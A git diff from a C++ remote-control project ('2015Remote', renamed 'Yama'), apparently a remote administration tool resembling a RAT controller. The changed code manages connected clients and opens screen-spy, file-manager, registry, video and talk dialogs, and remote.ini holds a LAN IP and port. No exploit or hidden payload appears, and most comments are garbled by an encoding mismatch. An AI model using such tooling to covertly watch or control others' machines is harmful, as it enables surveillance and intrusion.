typically with -Wno-deprecated-declarations for gcc
or _CRT_SECURE_NO_WARNINGS in Visual.
Otherwise, it's also possible to define LZ4_DISABLE_DEPRECATE_WARNINGS */
#ifdef LZ4_DISABLE_DEPRECATE_WARNINGS
# define LZ4_DEPRECATED(message) /* disable deprecation warnings */
#else
# define LZ4_GCC_VERSION (__GNUC__ * 100 + __GNUC_MINOR__)
# if defined (__cplusplus) && (__cplusplus >= 201402) /* C++14 or greater */
# define LZ4_DEPRECATED(message) [[deprecated(message)]]
# elif (LZ4_GCC_VERSION >= 405) || defined(__clang__)
# define LZ4_DEPRECATED(message) __attribute__((deprecated(message)))
# elif (LZ4_GCC_VERSION >= 301)
# define LZ4_DEPRECATED(message) __attribute__((deprecated))
# elif defined(_MSC_VER)
# define LZ4_DEPRECATED(message) __declspec(deprecated(message))
# else
# pragma message("WARNING: You need to implement LZ4_DEPRECATED for this compiler")
# define LZ4_DEPRECATED(message)
# endif
#endif /* LZ4_DISABLE_DEPRECATE_WARNINGS */
/* Obsolete compression functions */
LZ4_DEPRECATED("use LZ4_compress_default() instead") LZ4LIB_API int LZ4_compress (const char* source, char* dest, int sourceSize);
LZ4_DEPRECATED("use LZ4_compress_default() instead") LZ4LIB_API int LZ4_compress_limitedOutput (const char* source, char* dest, int sourceSize, int maxOutputSize);
LZ4_DEPRECATED("use LZ4_compress_fast_extState() instead") LZ4LIB_API int LZ4_compress_withState (void* state, const char* source, char* dest, int inputSize);
LZ4_DEPRECATED("use LZ4_compress_fast_extState() instead") LZ4LIB_API int LZ4_compress_limitedOutput_withState (void* state, const char* source, char* dest, int inputSize, int maxOutputSize);
LZ4_DEPRECATED("use LZ4_compress_fast_continue() instead") LZ4LIB_API int LZ4_compress_continue (LZ4_stream_t* LZ4_streamPtr, const char* source, char* dest, int inputSize);
LZ4_DEPRECATED("use LZ4_compress_fast_continue() instead") LZ4LIB_API int LZ4_compress_limitedOutput_continue (LZ4_stream_t* LZ4_streamPtr, const char* source, char* dest, int inputSize, int maxOutputSize);
/* Obsolete decompression functions */
LZ4_DEPRECATED("use LZ4_decompress_fast() instead") LZ4LIB_API int LZ4_uncompress (const char* source, char* dest, int outputSize);
LZ4_DEPRECATED("use LZ4_decompress_safe() instead") LZ4LIB_API int LZ4_uncompress_unknownOutputSize (const char* source, char* dest, int isize, int maxOutputSize);
/* Obsolete streaming functions; degraded functionality; do not use!
*
* In order to perform streaming compression, these functions depended on data
* that is no longer tracked in the state. They have been preserved as well as
* possible: using them will still produce a correct output. However, they don't
* actually retain any history between compression calls. The compression ratio
* achieved will therefore be no better than compressing each chunk
* independently.
*/
LZ4_DEPRECATED("Use LZ4_createStream() instead") LZ4LIB_API void* LZ4_create (char* inputBuffer);
LZ4_DEPRECATED("Use LZ4_createStream() instead") LZ4LIB_API int LZ4_sizeofStreamState(void);
LZ4_DEPRECATED("Use LZ4_resetStream() instead") LZ4LIB_API int LZ4_resetStreamState(void* state, char* inputBuffer);
LZ4_DEPRECATED("Use LZ4_saveDict() instead") LZ4LIB_API char* LZ4_slideInputBuffer (void* state);
/* Obsolete streaming decoding functions */
LZ4_DEPRECATED("use LZ4_decompress_safe_usingDict() instead") LZ4LIB_API int LZ4_decompress_safe_withPrefix64k (const char* src, char* dst, int compressedSize, int maxDstSize);
LZ4_DEPRECATED("use LZ4_decompress_fast_usingDict() instead") LZ4LIB_API int LZ4_decompress_fast_withPrefix64k (const char* src, char* dst, int originalSize);
#endif /* LZ4_H_2983827168210 */
#if defined (__cplusplus)
}
#endif

BIN
client/lz4/lz4.lib Normal file

Binary file not shown.

4
client/remote.ini Normal file
View File

@@ -0,0 +1,4 @@
# used by TestRun
[remote]
ip=192.168.104.250
port=6895

View File

@@ -1,16 +1,20 @@
//{{NO_DEPENDENCIES}} //{{NO_DEPENDENCIES}}
// Microsoft Developer Studio generated include file. // Microsoft Visual C++ <20><><EFBFBD>ɵİ<C9B5><C4B0><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
// Used by Script.rc // <EFBFBD><EFBFBD> Script.rc ʹ<><CAB9>
// //
#define IDD_DIALOG 101 #define IDD_DIALOG 101
#define IDR_WAVE 102 #define IDR_WAVE 102
#define IDI_ICON1 104
#define IDI_ICON_MAIN 104
#define IDI_ICON2 105
#define IDI_ICON_MSG 105
#define IDC_EDIT_MESSAGE 1000 #define IDC_EDIT_MESSAGE 1000
// Next default values for new objects // Next default values for new objects
// //
#ifdef APSTUDIO_INVOKED #ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS #ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 103 #define _APS_NEXT_RESOURCE_VALUE 106
#define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001 #define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_SYMED_VALUE 101 #define _APS_NEXT_SYMED_VALUE 101

BIN
client/zlib.lib Normal file

Binary file not shown.

1766
client/zstd/zstd.h Normal file

File diff suppressed because it is too large Load Diff

BIN
client/zstd/zstd.lib Normal file

Binary file not shown.

View File

@@ -1,7 +1,10 @@
 
Microsoft Visual Studio Solution File, Format Version 12.00 Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2012 # Visual Studio 2012
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "2015Remote", "2015Remote\2015Remote.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}" Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Yama", "2015Remote\2015Remote.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}"
ProjectSection(ProjectDependencies) = postProject
{3F756E52-23C2-4EE4-A184-37CF788D50A7} = {3F756E52-23C2-4EE4-A184-37CF788D50A7}
EndProjectSection
EndProject EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "..\client\ClientDll.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}" Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "..\client\ClientDll.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}"
EndProject EndProject

View File

@@ -32,7 +32,7 @@ long WINAPI whenbuged(_EXCEPTION_POINTERS *excp)
_mkdir(dump); _mkdir(dump);
char curTime[64];// <20><>ǰdump<6D>ļ<EFBFBD> char curTime[64];// <20><>ǰdump<6D>ļ<EFBFBD>
time_t TIME(time(0)); time_t TIME(time(0));
strftime(curTime, 64, "\\remote_%Y-%m-%d %H%M%S.dmp", localtime(&TIME)); strftime(curTime, 64, "\\YAMA_%Y-%m-%d %H%M%S.dmp", localtime(&TIME));
strcat(dump, curTime); strcat(dump, curTime);
HANDLE hFile = ::CreateFileA(dump, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, HANDLE hFile = ::CreateFileA(dump, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL); FILE_ATTRIBUTE_NORMAL, NULL);

Binary file not shown.

View File

@@ -105,7 +105,12 @@
</ResourceCompile> </ResourceCompile>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemGroup> <ItemGroup>
<None Include="res\1.cur" />
<None Include="res\2.cur" />
<None Include="res\2015Remote.ico" /> <None Include="res\2015Remote.ico" />
<None Include="res\3.cur" />
<None Include="res\4.cur" />
<None Include="res\arrow.cur" />
<None Include="res\audio.ico" /> <None Include="res\audio.ico" />
<None Include="res\bitmap\bmp00001.bmp" /> <None Include="res\bitmap\bmp00001.bmp" />
<None Include="res\Bitmap\Online.bmp" /> <None Include="res\Bitmap\Online.bmp" />
@@ -113,6 +118,7 @@
<None Include="res\Bitmap\ToolBar_File.bmp" /> <None Include="res\Bitmap\ToolBar_File.bmp" />
<None Include="res\Bitmap\ToolBar_Main.bmp" /> <None Include="res\Bitmap\ToolBar_Main.bmp" />
<None Include="res\cmdshell.ico" /> <None Include="res\cmdshell.ico" />
<None Include="res\cursor5.cur" />
<None Include="res\Cur\Drag.cur" /> <None Include="res\Cur\Drag.cur" />
<None Include="res\Cur\MutiDrag.cur" /> <None Include="res\Cur\MutiDrag.cur" />
<None Include="res\dword.ico" /> <None Include="res\dword.ico" />
@@ -190,6 +196,7 @@
<Image Include="res\Bitmap_5.bmp" /> <Image Include="res\Bitmap_5.bmp" />
<Image Include="res\toolbar1.bmp" /> <Image Include="res\toolbar1.bmp" />
<Image Include="res\toolbar2.bmp" /> <Image Include="res\toolbar2.bmp" />
<Image Include="res\webcam.ico" />
</ItemGroup> </ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">

View File

@@ -111,6 +111,24 @@
<None Include="res\string.ico"> <None Include="res\string.ico">
<Filter>资源文件</Filter> <Filter>资源文件</Filter>
</None> </None>
<None Include="res\4.cur">
<Filter>资源文件</Filter>
</None>
<None Include="res\2.cur">
<Filter>资源文件</Filter>
</None>
<None Include="res\3.cur">
<Filter>资源文件</Filter>
</None>
<None Include="res\1.cur">
<Filter>资源文件</Filter>
</None>
<None Include="res\cursor5.cur">
<Filter>资源文件</Filter>
</None>
<None Include="res\arrow.cur">
<Filter>资源文件</Filter>
</None>
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="2015Remote.h"> <ClInclude Include="2015Remote.h">
@@ -287,5 +305,8 @@
<Image Include="res\Bitmap_5.bmp"> <Image Include="res\Bitmap_5.bmp">
<Filter>资源文件</Filter> <Filter>资源文件</Filter>
</Image> </Image>
<Image Include="res\webcam.ico">
<Filter>资源文件</Filter>
</Image>
</ItemGroup> </ItemGroup>
</Project> </Project>

View File

@@ -302,7 +302,7 @@ VOID CMy2015RemoteDlg::InitControl()
rect.bottom+=20; rect.bottom+=20;
MoveWindow(rect); MoveWindow(rect);
for (int i = 0;i<g_Column_Count_Online;i++) for (int i = 0;i<g_Column_Count_Online;++i)
{ {
m_CList_Online.InsertColumn(i, g_Column_Data_Online[i].szTitle,LVCFMT_CENTER,g_Column_Data_Online[i].nWidth); m_CList_Online.InsertColumn(i, g_Column_Data_Online[i].szTitle,LVCFMT_CENTER,g_Column_Data_Online[i].nWidth);
@@ -310,7 +310,7 @@ VOID CMy2015RemoteDlg::InitControl()
} }
m_CList_Online.SetExtendedStyle(LVS_EX_FULLROWSELECT); m_CList_Online.SetExtendedStyle(LVS_EX_FULLROWSELECT);
for (int i = 0; i < g_Column_Count_Message; i++) for (int i = 0; i < g_Column_Count_Message; ++i)
{ {
m_CList_Message.InsertColumn(i, g_Column_Data_Message[i].szTitle,LVCFMT_CENTER,g_Column_Data_Message[i].nWidth); m_CList_Message.InsertColumn(i, g_Column_Data_Message[i].szTitle,LVCFMT_CENTER,g_Column_Data_Message[i].nWidth);
g_Column_Message_Width+=g_Column_Data_Message[i].nWidth; g_Column_Message_Width+=g_Column_Data_Message[i].nWidth;
@@ -499,7 +499,7 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
rc.bottom = cy-160; //<2F>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> rc.bottom = cy-160; //<2F>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_CList_Online.MoveWindow(rc); m_CList_Online.MoveWindow(rc);
for(int i=0;i<g_Column_Count_Online;i++){ //<2F><><EFBFBD><EFBFBD>ÿһ<C3BF><D2BB><EFBFBD><EFBFBD> for(int i=0;i<g_Column_Count_Online;++i){ //<2F><><EFBFBD><EFBFBD>ÿһ<C3BF><D2BB><EFBFBD><EFBFBD>
double Temp=g_Column_Data_Online[i].nWidth; //<2F>õ<EFBFBD><C3B5><EFBFBD>ǰ<EFBFBD>еĿ<D0B5><C4BF><EFBFBD> 138 double Temp=g_Column_Data_Online[i].nWidth; //<2F>õ<EFBFBD><C3B5><EFBFBD>ǰ<EFBFBD>еĿ<D0B5><C4BF><EFBFBD> 138
Temp/=g_Column_Online_Width; //<2F><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>ռ<EFBFBD>ܳ<EFBFBD><DCB3>ȵļ<C8B5><C4BC><EFBFBD>֮<EFBFBD><D6AE> Temp/=g_Column_Online_Width; //<2F><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>ռ<EFBFBD>ܳ<EFBFBD><DCB3>ȵļ<C8B5><C4BC><EFBFBD>֮<EFBFBD><D6AE>
Temp*=cx; //<2F><>ԭ<EFBFBD><D4AD><EFBFBD>ij<EFBFBD><C4B3>ȳ<EFBFBD><C8B3><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>֮<EFBFBD><D6AE><EFBFBD>õ<EFBFBD><C3B5><EFBFBD>ǰ<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD> Temp*=cx; //<2F><>ԭ<EFBFBD><D4AD><EFBFBD>ij<EFBFBD><C4B3>ȳ<EFBFBD><C8B3><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>֮<EFBFBD><D6AE><EFBFBD>õ<EFBFBD><C3B5><EFBFBD>ǰ<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD>
@@ -516,7 +516,7 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
rc.right = cx-1; //<2F>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> rc.right = cx-1; //<2F>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
rc.bottom = cy-20; //<2F>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> rc.bottom = cy-20; //<2F>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_CList_Message.MoveWindow(rc); m_CList_Message.MoveWindow(rc);
for(int i=0;i<g_Column_Count_Message;i++){ //<2F><><EFBFBD><EFBFBD>ÿһ<C3BF><D2BB><EFBFBD><EFBFBD> for(int i=0;i<g_Column_Count_Message;++i){ //<2F><><EFBFBD><EFBFBD>ÿһ<C3BF><D2BB><EFBFBD><EFBFBD>
double Temp=g_Column_Data_Message[i].nWidth; //<2F>õ<EFBFBD><C3B5><EFBFBD>ǰ<EFBFBD>еĿ<D0B5><C4BF><EFBFBD> double Temp=g_Column_Data_Message[i].nWidth; //<2F>õ<EFBFBD><C3B5><EFBFBD>ǰ<EFBFBD>еĿ<D0B5><C4BF><EFBFBD>
Temp/=g_Column_Message_Width; //<2F><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>ռ<EFBFBD>ܳ<EFBFBD><DCB3>ȵļ<C8B5><C4BC><EFBFBD>֮<EFBFBD><D6AE> Temp/=g_Column_Message_Width; //<2F><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>ռ<EFBFBD>ܳ<EFBFBD><DCB3>ȵļ<C8B5><C4BC><EFBFBD>֮<EFBFBD><D6AE>
Temp*=cx; //<2F><>ԭ<EFBFBD><D4AD><EFBFBD>ij<EFBFBD><C4B3>ȳ<EFBFBD><C8B3><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>֮<EFBFBD><D6AE><EFBFBD>õ<EFBFBD><C3B5><EFBFBD>ǰ<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD> Temp*=cx; //<2F><>ԭ<EFBFBD><D4AD><EFBFBD>ij<EFBFBD><C4B3>ȳ<EFBFBD><C8B3><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>֮<EFBFBD><D6AE><EFBFBD>õ<EFBFBD><C3B5><EFBFBD>ǰ<EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD>
@@ -568,22 +568,6 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
void CMy2015RemoteDlg::OnClose() void CMy2015RemoteDlg::OnClose()
{ {
bool bOpened = false;
for (std::vector<CFileManagerDlg *>::iterator iter = v_FileDlg.begin();
iter != v_FileDlg.end(); ++iter)
{
CFileManagerDlg *cur = *iter;
if (!cur->m_bIsClosed){
bOpened = true;
break;
}
}
if (bOpened)
{
MessageBox(_T("<EFBFBD><EFBFBD><EFBFBD>ȹر<EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!"));
return;
}
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ // TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
KillTimer(0); KillTimer(0);
@@ -591,6 +575,15 @@ void CMy2015RemoteDlg::OnClose()
Shell_NotifyIcon(NIM_DELETE, &m_Nid); Shell_NotifyIcon(NIM_DELETE, &m_Nid);
#endif #endif
BYTE bToken = COMMAND_BYE;
int n = m_CList_Online.GetItemCount();
for(int Pos = 0; Pos < n; ++Pos)
{
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(Pos);
m_iocpServer->OnClientPreSending(ContextObject, &bToken, sizeof(BYTE));
}
Sleep(200);
EnterCriticalSection(&m_cs); EnterCriticalSection(&m_cs);
for (std::vector<CFileManagerDlg *>::iterator iter = v_FileDlg.begin(); for (std::vector<CFileManagerDlg *>::iterator iter = v_FileDlg.begin();
iter != v_FileDlg.end(); ++iter) iter != v_FileDlg.end(); ++iter)
@@ -614,7 +607,7 @@ void CMy2015RemoteDlg::OnClose()
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Sleep<65><70><EFBFBD><EFBFBD><EFBFBD>ܱ<EFBFBD><DCB1><EFBFBD><E2B2BB><EFBFBD>˳<EFBFBD>ʱ<EFBFBD>ı<EFBFBD><C4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IOCP<43><50>Ҫ<EFBFBD><D2AA><EFBFBD>ظ<EFBFBD>Щ<EFBFBD><D0A9><EFBFBD><EFBFBD> //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Sleep<65><70><EFBFBD><EFBFBD><EFBFBD>ܱ<EFBFBD><DCB1><EFBFBD><E2B2BB><EFBFBD>˳<EFBFBD>ʱ<EFBFBD>ı<EFBFBD><C4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IOCP<43><50>Ҫ<EFBFBD><D2AA><EFBFBD>ظ<EFBFBD>Щ<EFBFBD><D0A9><EFBFBD><EFBFBD>
ShowWindow(SW_HIDE); ShowWindow(SW_HIDE);
Sleep(500); Sleep(300);
if (m_iocpServer!=NULL) if (m_iocpServer!=NULL)
{ {
@@ -642,7 +635,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
int iCount = SubMenu->GetMenuItemCount(); int iCount = SubMenu->GetMenuItemCount();
if (m_CList_Online.GetSelectedCount() == 0) //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ѡ<EFBFBD><D1A1> if (m_CList_Online.GetSelectedCount() == 0) //<2F><><EFBFBD><EFBFBD>û<EFBFBD><C3BB>ѡ<EFBFBD><D1A1>
{ {
for (int i = 0;i<iCount;i++) for (int i = 0;i<iCount;++i)
{ {
SubMenu->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //<2F>˵<EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD> SubMenu->EnableMenuItem(i, MF_BYPOSITION | MF_DISABLED | MF_GRAYED); //<2F>˵<EFBFBD>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
} }
@@ -666,6 +659,8 @@ void CMy2015RemoteDlg::OnOnlineMessage()
void CMy2015RemoteDlg::OnOnlineDelete() void CMy2015RemoteDlg::OnOnlineDelete()
{ {
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEB4A6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (IDYES != MessageBox(_T("ȷ<EFBFBD><EFBFBD>ɾ<EFBFBD><EFBFBD>ѡ<EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><EFBFBD>ؼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?"), _T("<EFBFBD><EFBFBD>ʾ"), MB_ICONQUESTION | MB_YESNO))
return;
BYTE bToken = COMMAND_BYE; //<2F>򱻿ض˷<D8B6><CBB7><EFBFBD>һ<EFBFBD><D2BB>COMMAND_SYSTEM BYTE bToken = COMMAND_BYE; //<2F>򱻿ض˷<D8B6><CBB7><EFBFBD>һ<EFBFBD><D2BB>COMMAND_SYSTEM
SendSelectedCommand(&bToken, sizeof(BYTE)); //Context PreSending PostSending SendSelectedCommand(&bToken, sizeof(BYTE)); //Context PreSending PostSending
@@ -674,7 +669,7 @@ void CMy2015RemoteDlg::OnOnlineDelete()
int iCount = m_CList_Online.GetSelectedCount(); int iCount = m_CList_Online.GetSelectedCount();
int i = 0; int i = 0;
for (i=0;i<iCount;i++) for (i=0;i<iCount;++i)
{ {
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
int iItem = m_CList_Online.GetNextSelectedItem(Pos); int iItem = m_CList_Online.GetNextSelectedItem(Pos);
@@ -716,7 +711,6 @@ VOID CMy2015RemoteDlg::OnOnlineDesktopManager()
VOID CMy2015RemoteDlg::OnOnlineFileManager() VOID CMy2015RemoteDlg::OnOnlineFileManager()
{ {
BYTE bToken = COMMAND_LIST_DRIVE; //<2F><><EFBFBD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD> BYTE bToken = COMMAND_LIST_DRIVE; //<2F><><EFBFBD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//<2F>򱻿ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD>ϢCOMMAND_LIST_DRIVE <20>ڱ<EFBFBD><DAB1>ض<EFBFBD><D8B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>COMMAND_LIST_DRIVE
SendSelectedCommand(&bToken, sizeof(BYTE)); SendSelectedCommand(&bToken, sizeof(BYTE));
} }
@@ -821,11 +815,6 @@ VOID CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection)
{ {
m_iocpServer = new IOCPServer; //<2F><>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> m_iocpServer = new IOCPServer; //<2F><>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (m_iocpServer==NULL)
{
return;
}
if (m_iocpServer->StartServer(NotifyProc, OfflineProc, nPort)==FALSE) if (m_iocpServer->StartServer(NotifyProc, OfflineProc, nPort)==FALSE)
{ {
OutputDebugStringA("======> StartServer Failed \n"); OutputDebugStringA("======> StartServer Failed \n");
@@ -839,7 +828,7 @@ VOID CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection)
VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject) VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
{ {
AUTO_TICK(5); AUTO_TICK(20);
MessageHandle(ContextObject); MessageHandle(ContextObject);
} }
@@ -1074,10 +1063,16 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
LeaveCriticalSection(&m_cs); LeaveCriticalSection(&m_cs);
dlgInfo *p = (dlgInfo *)wParam; dlgInfo *p = (dlgInfo *)wParam;
if (p && p->v1 > 0) if (p)
{ {
switch(p->v1) switch(p->v1)
{ {
case TALK_DLG:
{
CTalkDlg *Dlg = (CTalkDlg*)p->hDlg;
delete Dlg;
break;
}
case VIDEO_DLG: case VIDEO_DLG:
{ {
CVideoDlg *Dlg = (CVideoDlg*)p->hDlg; CVideoDlg *Dlg = (CVideoDlg*)p->hDlg;
@@ -1117,18 +1112,19 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
case FILEMANAGER_DLG: case FILEMANAGER_DLG:
{ {
CFileManagerDlg *Dlg = (CFileManagerDlg*)p->hDlg; CFileManagerDlg *Dlg = (CFileManagerDlg*)p->hDlg;
::SendMessage(Dlg->GetSafeHwnd(), WM_CLOSE, 0, 0); //delete Dlg; //<2F><><EFBFBD><EFBFBD><E2B4A6>
//delete Dlg; <20><><EFBFBD><EFBFBD><E2B4A6>
break; break;
} }
case REGISTER_DLG: case REGISTER_DLG:
{ {
CRegisterDlg *Dlg = (CRegisterDlg*)p->hDlg; CRegisterDlg *Dlg = (CRegisterDlg*)p->hDlg;
delete Dlg; //delete Dlg; //<2F><><EFBFBD><EFBFBD><E2B4A6>
break; break;
} }
default:break;
} }
delete p; delete p;
p = NULL;
} }
return S_OK; return S_OK;
@@ -1141,7 +1137,7 @@ LRESULT CMy2015RemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
CScreenSpyDlg *Dlg = new CScreenSpyDlg(this,m_iocpServer, ContextObject); //Send s CScreenSpyDlg *Dlg = new CScreenSpyDlg(this,m_iocpServer, ContextObject); //Send s
// <20><><EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD>Ϊ׿<CEAA><D7BF> // <20><><EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD>Ϊ׿<CEAA><D7BF>
Dlg->Create(IDD_DIALOG_SCREEN_SPY, GetDesktopWindow()); Dlg->Create(IDD_DIALOG_SCREEN_SPY, GetDesktopWindow());
Dlg->ShowWindow(SW_SHOW); Dlg->ShowWindow(SW_SHOWMAXIMIZED);
ContextObject->v1 = SCREENSPY_DLG; ContextObject->v1 = SCREENSPY_DLG;
ContextObject->hDlg = Dlg; ContextObject->hDlg = Dlg;

View File

@@ -48,22 +48,22 @@ protected:
DECLARE_MESSAGE_MAP() DECLARE_MESSAGE_MAP()
public: public:
VOID CMy2015RemoteDlg::InitControl(); //<2F><>ʼ<EFBFBD>ؼ<EFBFBD> VOID InitControl(); //<2F><>ʼ<EFBFBD>ؼ<EFBFBD>
VOID CMy2015RemoteDlg::TestOnline(); //<2F><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD> VOID TestOnline(); //<2F><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>
VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS,
CString strCPU, CString strVideo, CString strPing,CONTEXT_OBJECT* ContextObject); CString strCPU, CString strVideo, CString strPing,CONTEXT_OBJECT* ContextObject);
VOID CMy2015RemoteDlg::ShowMessage(BOOL bOk, CString strMsg); VOID ShowMessage(BOOL bOk, CString strMsg);
VOID CMy2015RemoteDlg::CreatStatusBar(); VOID CreatStatusBar();
VOID CMy2015RemoteDlg::CreateToolBar(); VOID CreateToolBar();
VOID CMy2015RemoteDlg::CreateNotifyBar(); VOID CreateNotifyBar();
VOID CMy2015RemoteDlg::CreateSolidMenu(); VOID CreateSolidMenu();
VOID CMy2015RemoteDlg::ListenPort(); VOID ListenPort();
